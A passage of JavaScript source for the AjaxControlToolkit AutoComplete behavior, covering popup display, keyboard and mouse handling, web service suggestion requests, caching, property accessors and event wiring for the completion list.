    },

    showPopup: function() {
        /// <summary>
        /// Show the completion list popup
        /// </summary>
        /// <remarks>
        /// If you cancel the showing event, you should still call
        /// showPopup to ensure consistency of the internal state
        /// </remarks>
        this._popupBehavior.show();
        this.raiseShown(Sys.EventArgs.Empty);
    },

    hidePopup: function() {
        /// <summary>
        /// Hide the completion list popup
        /// </summary>
        /// <remarks>
        /// If you cancel the hiding event, you should still
        /// call hidePopup to ensure consistency of the internal
        /// state
        /// </remarks>

        if (this._popupBehavior) {
            this._popupBehavior.hide();
        } else {
            this._popupHidden();
        }
    },

    _popupHidden: function() {
        /// <summary>
        /// Clean up the completion list popup after it has been hidden
        /// </summary>

        this._completionListElement.innerHTML = '';
        this._selectIndex = -1;
        this._flyoutHasFocus = false;

        this.raiseHidden(Sys.EventArgs.Empty);
    },

    _highlightItem: function(item) {
        /// <summary>
        /// Highlights the specified item
        /// </summary>
        /// <param name="item" type="Sys.UI.DomElement" DomElement="true" mayBeNull="false" />
        /// <returns />

        var children = this._completionListElement.childNodes;

        // Unselect any previously highlighted item
        for (var i = 0; i < children.length; i++) {
            var child = children[i];
            if (child._highlighted) {
                if (this._completionListItemCssClass) {
                    Sys.UI.DomElement.removeCssClass(child, this._highlightedItemCssClass);
                    Sys.UI.DomElement.addCssClass(child, this._completionListItemCssClass);
                } else {
                    if (Sys.Browser.agent === Sys.Browser.Safari) {
                        child.style.backgroundColor = 'white';
                        child.style.color = 'black';
                    } else {
                        child.style.backgroundColor = this._textBackground;
                        child.style.color = this._textColor;
                    }
                }
                this.raiseItemOut(new AjaxControlToolkit.AutoCompleteItemEventArgs(child, child.firstChild.nodeValue, child._value));
            }
        }

        // Highlight the new item
        if (this._highlightedItemCssClass) {
            Sys.UI.DomElement.removeCssClass(item, this._completionListItemCssClass);
            Sys.UI.DomElement.addCssClass(item, this._highlightedItemCssClass);
        } else {
            if (Sys.Browser.agent === Sys.Browser.Safari) {
                item.style.backgroundColor = 'lemonchiffon';
            } else {
                item.style.backgroundColor = 'highlight';
                item.style.color = 'highlighttext';
            }

        }
        item._highlighted = true;
        this.raiseItemOver(new AjaxControlToolkit.AutoCompleteItemEventArgs(item, item.firstChild.nodeValue, item._value));
    },

    /// <summary>
    /// Handler for the blur event on the autocomplete flyout.
    /// </summary>
    /// <param name="ev" type="Sys.UI.DomEvent" DomElement="false" mayBeNull="false" />
    /// <returns />    
    _onCompletionListBlur: function(ev) {
        this._hideCompletionList();
    },

    _onListMouseDown: function(ev) {
        /// <summary>
        /// Handler for the mousedown event on the autocomplete flyout.
        /// </summary>
        /// <param name="ev" type="Sys.UI.DomEvent" DomElement="false" mayBeNull="false" />
        /// <returns />     
        if (ev.target !== this._completionListElement) {
            this._setText(ev.target);
            this._flyoutHasFocus = false;
        } else { // focus is still on the flyout and we do not want to hide it
            this._flyoutHasFocus = true;
        }
    },

    _onListMouseUp: function(ev) {
        /// <summary>
        /// Handler for the mouseup event on the autocomplete flyout.
        /// </summary>
        /// <param name="ev" type="Sys.UI.DomEvent" DomElement="false" mayBeNull="false" />
        /// <returns />      
        try { this.get_element().focus(); } catch (e) { }
    },

    _onListMouseOver: function(ev) {
        /// <summary>
        /// Handler for the mouseover event on the autocomplete flyout.
        /// </summary>
        /// <param name="ev" type="Sys.UI.DomEvent" DomElement="false" mayBeNull="false" />
        /// <returns />      
        var item = ev.target;
        if (item !== this._completionListElement) {
            var children = this._completionListElement.childNodes;
            // make sure the selected index is updated
            for (var i = 0; i < children.length; ++i) {
                if (item === children[i]) {
                    this._highlightItem(item);
                    this._selectIndex = i;
                    break;
                }
            }
        }
    },

    _onGotFocus: function(ev) {
        /// <summary>
        /// Handler for textbox focus event.
        /// </summary>
        /// <param name="ev" type="Sys.UI.DomEvent" DomElement="false" mayBeNull="false" />
        /// <returns />      
        this._textBoxHasFocus = true;
        if (this._flyoutHasFocus) {
            // hide the flyout now that the focus is back on the textbox
            this._hideCompletionList();
        }
        if ((this._minimumPrefixLength == 0) && (!this.get_element().value)) {
            this._timer.set_enabled(true);
            // only start the timer if the minimumprefixlength is 0
            // since we would like to retrieve results even if
            // the user has not entered any text and the textbox is empty.
        }
    },

    _onKeyDown: function(ev) {
        /// <summary>
        /// Handler for the textbox keydown event.
        /// </summary>
        /// <param name="ev" type="Sys.UI.DomEvent" DomElement="false" mayBeNull="false" />
        /// <returns />

        // If textbox had focus on page load, _onGotFocus() would not have been called.
        // So if a user started typing, then focus is obviously on the textbox.
        this._textBoxHasFocus = true;

        this._timer.set_enabled(false);
        // the last key press occured so we need to "reset" the timer.
        var k = ev.keyCode ? ev.keyCode : ev.rawEvent.keyCode;
        if (k === Sys.UI.Key.esc) {
            this._hideCompletionList();
            ev.preventDefault();
        }
        else if (k === Sys.UI.Key.up) {
            if (this._selectIndex > 0) {
                this._selectIndex--;
                this._handleScroll(this._completionListElement.childNodes[this._selectIndex], this._selectIndex);
                this._highlightItem(this._completionListElement.childNodes[this._selectIndex]);
                ev.stopPropagation();
                ev.preventDefault();
            }
        }
        else if (k === Sys.UI.Key.down) {
            if (this._selectIndex < (this._completionListElement.childNodes.length - 1)) {
                this._selectIndex++;
                this._handleScroll(this._completionListElement.childNodes[this._selectIndex], this._selectIndex);
                this._highlightItem(this._completionListElement.childNodes[this._selectIndex]);
                ev.stopPropagation();
                ev.preventDefault();
            }
        }
        else if (k === Sys.UI.Key.enter) {
            if (this._selectIndex !== -1) {
                this._setText(this._completionListElement.childNodes[this._selectIndex]);
                ev.preventDefault();
            } else {
                // close the popup
                this.hidePopup();
            }
        }
        else if (k === Sys.UI.Key.tab) {
            if (this._selectIndex !== -1) {
                this._setText(this._completionListElement.childNodes[this._selectIndex]);
            }
        }
        else {
            this._timer.set_enabled(true);
            // start the timer to retrieve results since now it is an actual key
        }
    },

    _handleScroll: function(element, index) {
        /// <summary>
        /// Method to determine if an item is in view or not
        /// </summary>
        /// <returns />
        /// <param name="element" type="Sys.UI.DomElement" DomElement="true" mayBeNull="false" />
        /// <param name="index" type="Number" DomElement="false" mayBeNull="true" />        
        var flyout = this._completionListElement;
        var elemBounds = $common.getBounds(element);
        var numItems = this._completionListElement.childNodes.length;
        if (((elemBounds.height * index) - (flyout.clientHeight + flyout.scrollTop)) >= 0) {
            // you need to scroll down
            flyout.scrollTop += (((elemBounds.height * index) - (flyout.clientHeight + flyout.scrollTop)) + elemBounds.height);
        }
        if (((elemBounds.height * (numItems - (index + 1))) - (flyout.scrollHeight - flyout.scrollTop)) >= 0) {
            // you need to scroll up
            flyout.scrollTop -= (((elemBounds.height * (numItems - (index + 1))) - (flyout.scrollHeight - flyout.scrollTop)) + elemBounds.height);
        }

        if (flyout.scrollTop % elemBounds.height !== 0) {
            if (((elemBounds.height * (index + 1)) - (flyout.clientHeight + flyout.scrollTop)) >= 0) {
                // an element is partially displayed at the bottom
                flyout.scrollTop -= (flyout.scrollTop % elemBounds.height);
            } else { // an element is partially displayed on the top 
                flyout.scrollTop += (elemBounds.height - (flyout.scrollTop % elemBounds.height));
            }
        }

    },

    _handleFlyoutFocus: function() {
        /// <summary>
        /// Method to handle flyout focus if textbox loses focus.
        /// </summary>
        /// <returns />   
        if (!this._textBoxHasFocus) {
            if (!this._flyoutHasFocus) {
                if (this._webRequest) {
                    // abort the web service call if we are losing focus. no sense having it delay future web requests.
                    this._webRequest.get_executor().abort();
                    this._webRequest = null;
                }
                // the textbox lost focus and the flyout does not have it
                this._hideCompletionList();
            } else {
                // keep the flyout around otherwise
            }
        }
    },

    _onLostFocus: function() {
        /// <summary>
        /// Handler textbox blur event.
        /// </summary>
        /// <returns />      
        this._textBoxHasFocus = false;
        this._timer.set_enabled(false);
        /* the rest of the onblur handling will be done in
        this method after a minor delay to ensure we do not close the flyout 
        if a user clicks on its scroll bars for example */
        window.setTimeout(Function.createDelegate(this, this._handleFlyoutFocus), 500);
    },

    _onMethodComplete: function(result, context) {
        /// <summary>
        /// Handler invoked when the webservice call is completed.
        /// </summary>
        /// <param name="result" type="Object" DomElement="false" mayBeNull="true" />
        /// <param name="context" type="String" DomElement="false" mayBeNull="true" />        
        /// <returns /> 
        this._webRequest = null; // clear out our saved WebRequest object    
        this._update(context, result, /* cacheResults */true);
    },

    _onMethodFailed: function(err, response, context) {
        /// <summary>
        /// Handler invoked when the webservice call fails, currently a noop
        /// </summary>
        /// <param name="err" type="Object" DomElement="false" mayBeNull="true" />        
        /// <param name="result" type="Object" DomElement="false" mayBeNull="true" />
        /// <param name="context" type="String" DomElement="false" mayBeNull="true" />
        /// <returns />     
        // clear out our saved WebRequest object
        this._webRequest = null;
    },

    _onTimerTick: function(sender, eventArgs) {
        /// <summary>
        /// Handler invoked when a timer tick occurs
        /// </summary>
        /// <param name="sender" type="Object" mayBeNull="true"/>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="true" />        
        /// <returns />

        // turn off the timer until another key is pressed.
        this._timer.set_enabled(false);
        if (this._servicePath && this._serviceMethod) {
            var text = this._currentCompletionWord();

            if (text.trim().length < this._minimumPrefixLength) {
                this._currentPrefix = null;
                this._update('', null, /* cacheResults */false);
                return;
            }
            // there is new content in the textbox or the textbox is empty but the min prefix length is 0
            if ((this._currentPrefix !== text) || ((text == "") && (this._minimumPrefixLength == 0))) {
                this._currentPrefix = text;
                if ((text != "") && this._cache && this._cache[text]) {
                    this._update(text, this._cache[text], /* cacheResults */false);
                    return;
                }
                // Raise the populating event and optionally cancel the web service invocation
                var eventArgs = new Sys.CancelEventArgs();
                this.raisePopulating(eventArgs);
                if (eventArgs.get_cancel()) {
                    return;
                }

                // Create the service parameters and optionally add the context parameter
                // (thereby determining which method signature we're expecting...)
                var params = { prefixText: this._currentPrefix, count: this._completionSetCount };
                if (this._useContextKey) {
                    params.contextKey = this._contextKey;
                }

                if (this._webRequest) {
                    // abort the previous web service call if we 
                    // are issuing a new one and the previous one is 
                    // active.
                    this._webRequest.get_executor().abort();
                    this._webRequest = null;
                }
                // Invoke the web service
                this._webRequest = Sys.Net.WebServiceProxy.invoke(this.get_servicePath(), this.get_serviceMethod(), false, params,
                                            Function.createDelegate(this, this._onMethodComplete),
                                            Function.createDelegate(this, this._onMethodFailed),
                                            text);
                $common.updateFormToRefreshATDeviceBuffer();
            }
        }
    },

    _setText: function(item) {
        /// <summary>
        /// Method to set the selected autocomplete option on the textbox
        /// </summary>
        /// <param name="item" type="Sys.UI.DomElement" DomElement="true" mayBeNull="true">
        /// Item to select
        /// </param>
        /// <returns />

        var text = (item && item.firstChild) ? item.firstChild.nodeValue : null;
        this._timer.set_enabled(false);

        var element = this.get_element();
        var control = element.control;
        var newText = this._showOnlyCurrentWordInCompletionListItem ? this._getTextWithInsertedWord(text) : text;
        if (control && control.set_text) {
            control.set_text(newText);
        } else {
            element.value = newText;
        }
        $common.tryFireEvent(element, "change");

        this.raiseItemSelected(new AjaxControlToolkit.AutoCompleteItemEventArgs(item, text, item ? item._value : null));

        this._currentPrefix = this._currentCompletionWord();
        this._hideCompletionList();
    },

    _update: function(prefixText, completionItems, cacheResults) {
        /// <summary>
        /// Method to update the status of the autocomplete behavior
        /// </summary>
        /// <param name="prefixText" type="String" DomElement="false" mayBeNull="true" />
        /// <param name="completionItems" type="Object" DomElement="false" mayBeNull="true" />
        /// <param name="cacheResults" type="Object" DomElement="false" mayBeNull="true" />
        /// <returns />       
        if (cacheResults && this.get_enableCaching()) {
            if (!this._cache) {
                this._cache = {};
            }
            this._cache[prefixText] = completionItems;
        }

        // If the target control loses focus or 
        // if the value in textbox has changed before the webservice returned
        // completion items we don't need to show popup 
        if ((!this._textBoxHasFocus) || (prefixText != this._currentCompletionWord())) {
            this._hideCompletionList();
            return;
        }

        if (completionItems && completionItems.length) {
            this._completionListElement.innerHTML = '';
            this._selectIndex = -1;
            var _firstChild = null;
            var text = null;
            var value = null;

            for (var i = 0; i < completionItems.length; i++) {
                // Create the item                
                var itemElement = null;
                if (this._completionListElementID) {
                    // the completion element has been created by the user and li won't necessarily work
                    itemElement = document.createElement('div');
                } else {
                    itemElement = document.createElement('li');
                }

                // set the first child if it is null
                if (_firstChild == null) {
                    _firstChild = itemElement;
                }

                // Get the text/value for the item
                try {
                    var pair = Sys.Serialization.JavaScriptSerializer.deserialize('(' + completionItems[i] + ')');
                    if (pair && pair.First) {
                        // Use the text and value pair returned from the web service
                        text = pair.First;
                        value = pair.Second;
                    }
                    else {
                        // If the web service only returned a regular string, use it for
                        // both the text and the value
                        text = completionItems[i];
                        value = text;
                    }
                } catch (ex) {
                    text = completionItems[i];
                    value = completionItems[i];
                }


                // Set the text/value for the item
                // ShowOnlyCurrentWordInCompletionListItem support
                var optionText = this._showOnlyCurrentWordInCompletionListItem ? text : this._getTextWithInsertedWord(text);
                itemElement.appendChild(document.createTextNode(optionText));
                itemElement._value = value;
                itemElement.__item = '';

                if (this._completionListItemCssClass) {
                    Sys.UI.DomElement.addCssClass(itemElement, this._completionListItemCssClass);
                } else {
                    var itemElementStyle = itemElement.style;
                    itemElementStyle.padding = '0px';
                    itemElementStyle.textAlign = 'left';
                    itemElementStyle.textOverflow = 'ellipsis';
                    // workaround for safari since normal colors do not
                    // show well there.
                    if (Sys.Browser.agent === Sys.Browser.Safari) {
                        itemElementStyle.backgroundColor = 'white';
                        itemElementStyle.color = 'black';
                    } else {
                        itemElementStyle.backgroundColor = this._textBackground;
                        itemElementStyle.color = this._textColor;
                    }
                }
                this._completionListElement.appendChild(itemElement);
            }
            var elementBounds = $common.getBounds(this.get_element());
            this._completionListElement.style.width = Math.max(1, elementBounds.width - 2) + 'px';
            this._completionListElement.scrollTop = 0;

            this.raisePopulated(Sys.EventArgs.Empty);

            var eventArgs = new Sys.CancelEventArgs();
            this.raiseShowing(eventArgs);
            if (!eventArgs.get_cancel()) {
                this.showPopup();
                // Check if the first Row is to be selected by default and if yes highlight it and updated selectIndex.
                if (this._firstRowSelected && (_firstChild != null)) {
                    this._highlightItem(_firstChild);
                    this._selectIndex = 0;
                }
            }
        } else {
            this._hideCompletionList();
        }
    },

    get_onShow: function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShow() : this._onShowJson;
    },
    set_onShow: function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onShow(value)
        } else {
            this._onShowJson = value;
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior: function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShowBehavior() : null;
    },
    onShow: function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onShow();
        }
    },

    get_onHide: function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHide() : this._onHideJson;
    },
    set_onHide: function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onHide(value)
        } else {
            this._onHideJson = value;
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior: function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHideBehavior() : null;
    },
    onHide: function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onHide();
        }
    },

    get_completionInterval: function() {
        /// <value type="Number" integer="true" maybeNull="true">
        /// Auto completion timer interval in milliseconds.
        /// </value>
        return this._completionInterval;
    },
    set_completionInterval: function(value) {
        if (this._completionInterval != value) {
            this._completionInterval = value;
            this.raisePropertyChanged('completionInterval');
        }
    },

    get_completionList: function() {
        /// <value type="Sys.UI.DomElement" domElement="true" maybeNull="true">
        /// List dom element.
        /// </value>
        return this._completionListElement;
    },
    set_completionList: function(value) {
        if (this._completionListElement != value) {
            this._completionListElement = value;
            this.raisePropertyChanged('completionList');
        }
    },

    get_completionSetCount: function() {
        /// <value type="Number" integer="true" maybeNull="true">
        /// Maximum completion set size.
        /// </value>
        return this._completionSetCount;
    },
    set_completionSetCount: function(value) {
        if (this._completionSetCount != value) {
            this._completionSetCount = value;
            this.raisePropertyChanged('completionSetCount');
        }
    },

    get_minimumPrefixLength: function() {
        /// <value type="Number" integer="true" maybeNull="true">
        /// Minimum text prefix length required to call the webservice.
        /// </value>
        return this._minimumPrefixLength;
    },
    set_minimumPrefixLength: function(value) {
        if (this._minimumPrefixLength != value) {
            this._minimumPrefixLength = value;
            this.raisePropertyChanged('minimumPrefixLength');
        }
    },

    get_serviceMethod: function() {
        /// <value type="String" maybeNull="false">
        /// Web service method.
        /// </value>
        return this._serviceMethod;
    },
    set_serviceMethod: function(value) {
        if (this._serviceMethod != value) {
            this._serviceMethod = value;
            this.raisePropertyChanged('serviceMethod');
        }
    },

    get_servicePath: function() {
        /// <value type="String" maybeNull="true">
        /// Web service url.
        /// </value>
        return this._servicePath;
    },
    set_servicePath: function(value) {
        if (this._servicePath != value) {
            this._servicePath = value;
            this.raisePropertyChanged('servicePath');
        }
    },

    get_contextKey: function() {
        /// <value type="String" mayBeNull="true">
        /// User/page specific context provided to an optional overload of the
        /// web method described by ServiceMethod/ServicePath.  If the context
        /// key is used, it should have the same signature with an additional
        /// parameter named contextKey of type string.
        /// </value>
        return this._contextKey;
    },
    set_contextKey: function(value) {
        if (this._contextKey != value) {
            this._contextKey = value;
            this.set_useContextKey(true);
            this.raisePropertyChanged('contextKey');
        }
    },

    get_useContextKey: function() {
        /// <value type="Boolean">
        /// Whether or not the ContextKey property should be used.  This will be
        /// automatically enabled if the ContextKey property is ever set
        /// (on either the client or the server).  If the context key is used,
        /// it should have the same signature with an additional parameter
        /// named contextKey of type string.
        /// </value>
        return this._useContextKey;
    },
    set_useContextKey: function(value) {
        if (this._useContextKey != value) {
            this._useContextKey = value;
            this.raisePropertyChanged('useContextKey');
        }
    },

    get_enableCaching: function() {
        /// <value type="Boolean" maybeNull="true">
        /// Get or sets whether suggestions retrieved from the webservice
        /// should be cached.
        /// </value>
        return this._enableCaching;
    },
    set_enableCaching: function(value) {
        if (this._enableCaching != value) {
            this._enableCaching = value;
            this.raisePropertyChanged('enableCaching');
        }
    },

    get_completionListElementID: function() {
        /// <value type="String" maybeNull="true">
        /// ID of the completion div element.
        /// </value>
        return this._completionListElementID;
    },
    set_completionListElementID: function(value) {
        if (this._completionListElementID != value) {
            this._completionListElementID = value;
            this.raisePropertyChanged('completionListElementID');
        }
    },

    get_completionListCssClass: function() {
        /// <value type="String" maybeNull="true">
        /// Css class name that will be used to style the completion list element.
        /// </value>
        return this._completionListCssClass;
    },
    set_completionListCssClass: function(value) {
        if (this._completionListCssClass != value) {
            this._completionListCssClass = value;
            this.raisePropertyChanged('completionListCssClass');
        }
    },

    get_completionListItemCssClass: function() {
        /// <value type="String" maybeNull="true">
        /// Css class name that will be used to style an item in the completion list.
        /// </value>
        return this._completionListItemCssClass;
    },
    set_completionListItemCssClass: function(value) {
        if (this._completionListItemCssClass != value) {
            this._completionListItemCssClass = value;
            this.raisePropertyChanged('completionListItemCssClass');
        }
    },

    get_highlightedItemCssClass: function() {
        /// <value type="String" maybeNull="true">
        /// Css class name that will be used to style a highlighted item in the list.
        /// </value>
        return this._highlightedItemCssClass;
    },
    set_highlightedItemCssClass: function(value) {
        if (this._highlightedItemCssClass != value) {
            this._highlightedItemCssClass = value;
            this.raisePropertyChanged('highlightedItemCssClass');
        }
    },

    get_delimiterCharacters: function() {
        /// <value type="String">
        /// Gets or sets the character(s) used to seperate words for autocomplete.
        /// </value>
        return this._delimiterCharacters;
    },
    set_delimiterCharacters: function(value) {
        if (this._delimiterCharacters != value) {
            this._delimiterCharacters = value;
            this.raisePropertyChanged('delimiterCharacters');
        }
    },

    get_firstRowSelected: function() {
        /// <value type="Boolean" maybeNull="true">
        /// Flag to determine if the first option in the flyout is selected or not. 
        /// </value>
        return this._firstRowSelected;
    },
    set_firstRowSelected: function(value) {
        if (this._firstRowSelected != value) {
            this._firstRowSelected = value;
            this.raisePropertyChanged('firstRowSelected');
        }
    },

    get_showOnlyCurrentWordInCompletionListItem: function() {
        /// <value type="Boolean">
        /// If Delimiter characters are specified and showOnlyCurrentWordInCompletionListItem is 
        /// set to true, then the completion list displays suggestions just for the current word, 
        /// otherwise, it displays the whole string that will show up in the TextBox if that
        /// item is selected, which is the current default.
        /// </value>
        return this._showOnlyCurrentWordInCompletionListItem;
    },
    set_showOnlyCurrentWordInCompletionListItem: function(value) {
        if (this._showOnlyCurrentWordInCompletionListItem != value) {
            this._showOnlyCurrentWordInCompletionListItem = value;
            this.raisePropertyChanged('showOnlyCurrentWordInCompletionListItem');
        }
    },

    add_populating: function(handler) {
        /// <summary>
        /// Add an event handler for the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populating', handler);
    },
    remove_populating: function(handler) {
        /// <summary>
        /// Remove an event handler from the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populating', handler);
    },
    raisePopulating: function(eventArgs) {
        /// <summary>
        /// Raise the populating event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the populating event
        /// </param>
        /// <returns />
        /// <remarks>
        /// The populating event can be used to provide custom data to AutoComplete
        /// instead of using a web service.  Just cancel the event (using the
        /// CancelEventArgs) and pass your own data to the _update method.
        /// </remarks>

        var handler = this.get_events().getHandler('populating');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_populated: function(handler) {
        /// <summary>
        /// Add an event handler for the populated event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populated', handler);
    },
    remove_populated: function(handler) {
        /// <summary>
        /// Remove an event handler from the populated event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populated', handler);
    },
    raisePopulated: function(eventArgs) {
        /// <summary>
        /// Raise the populated event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the populated event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('populated');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_showing: function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('showing', handler);
    },
    remove_showing: function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('showing', handler);
    },
    raiseShowing: function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_shown: function(handler) {
        /// <summary>
        /// Add an event handler for the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('shown', handler);
    },
    remove_shown: function(handler) {
        /// <summary>
        /// Remove an event handler from the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('shown', handler);
    },
    raiseShown: function(eventArgs) {
        /// <summary>
        /// Raise the shown event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the shown event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('shown');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hiding: function(handler) {
        /// <summary>
        /// Add an event handler for the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hiding', handler);
    },
    remove_hiding: function(handler) {
        /// <summary>
        /// Remove an event handler from the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hiding', handler);
    },
    raiseHiding: function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hidden: function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hidden', handler);
    },
    remove_hidden: function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hidden', handler);
    },
    raiseHidden: function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hidden');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_itemSelected: function(handler) {
        /// <summary>
        /// Add an event handler for the itemSelected event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('itemSelected', handler);
    },
    remove_itemSelected: function(handler) {
        /// <summary>
        /// Remove an event handler from the itemSelected event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('itemSelected', handler);
    },
    raiseItemSelected: function(eventArgs) {
        /// <summary>
        /// Raise the itemSelected event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.AutoCompleteItemEventArgs" mayBeNull="false">
        /// Event arguments for the itemSelected event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('itemSelected');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_itemOver: function(handler) {
        /// <summary>
        /// Add an event handler for the itemOver event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('itemOver', handler);
    },
    remove_itemOver: function(handler) {
        /// <summary>
        /// Remove an event handler from the itemOver event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('itemOver', handler);
    },
    raiseItemOver: function(eventArgs) {
        /// <summary>
        /// Raise the itemOver event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.AutoCompleteItemEventArgs" mayBeNull="false">
        /// Event arguments for the itemOver event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('itemOver');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_itemOut: function(handler) {
        /// <summary>
        /// Add an event handler for the itemOut event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('itemOut', handler);
    },
    remove_itemOut: function(handler) {
        /// <summary>
        /// Remove an event handler from the itemOut event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('itemOut', handler);
    },
    raiseItemOut: function(eventArgs) {
        /// <summary>
        /// Raise the itemOut event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.AutoCompleteItemEventArgs" mayBeNull="false">
        /// Event arguments for the itemOut event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('itemOut');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.AutoCompleteBehavior.registerClass('AjaxControlToolkit.AutoCompleteBehavior', AjaxControlToolkit.BehaviorBase);
AjaxControlToolkit.AutoCompleteBehavior.descriptor = {
    properties: [   {name: 'completionInterval', type: Number},
                    {name: 'completionList', isDomElement: true},
                    {name: 'completionListElementID', type: String},
                    {name: 'completionSetCount', type: Number},
                    {name: 'minimumPrefixLength', type: Number},
                    {name: 'serviceMethod', type: String},
                    {name: 'servicePath', type: String},
                    {name: 'enableCaching', type: Boolean},
                    {name: 'showOnlyCurrentWordInCompletionListItem', type: Boolean} ]
}


AjaxControlToolkit.AutoCompleteItemEventArgs = function(item, text, value) {
    /// <summary>
    /// Event arguments used when the itemSelected event is raised
    /// </summary>
    /// <param name="item" type="Sys.UI.DomElement" DomElement="true" mayBeNull="true">
    /// Item
    /// </param>
    /// <param name="text" type="String" mayBeNull="true">
    /// Text of the item
    /// </param>
    /// <param name="value" type="String" mayBeNull="true" optional="true">
    /// Value of the item different from text if specifically returned by the webservice
    /// as autocomplete json text/value item(using AutoComplete.CreateAutoCompleteItem); otherwise same as text.
    /// </param>
    AjaxControlToolkit.AutoCompleteItemEventArgs.initializeBase(this);
    
    this._item = item;
    this._text = text;
    this._value = (value !== undefined) ? value : null;
}
AjaxControlToolkit.AutoCompleteItemEventArgs.prototype = {
    get_item : function() {
        /// <value type="Sys.UI.DomElement" DomElement="true" mayBeNull="true">
        /// Item
        /// </value>
        return this._item;
    },
    set_item : function(value) {
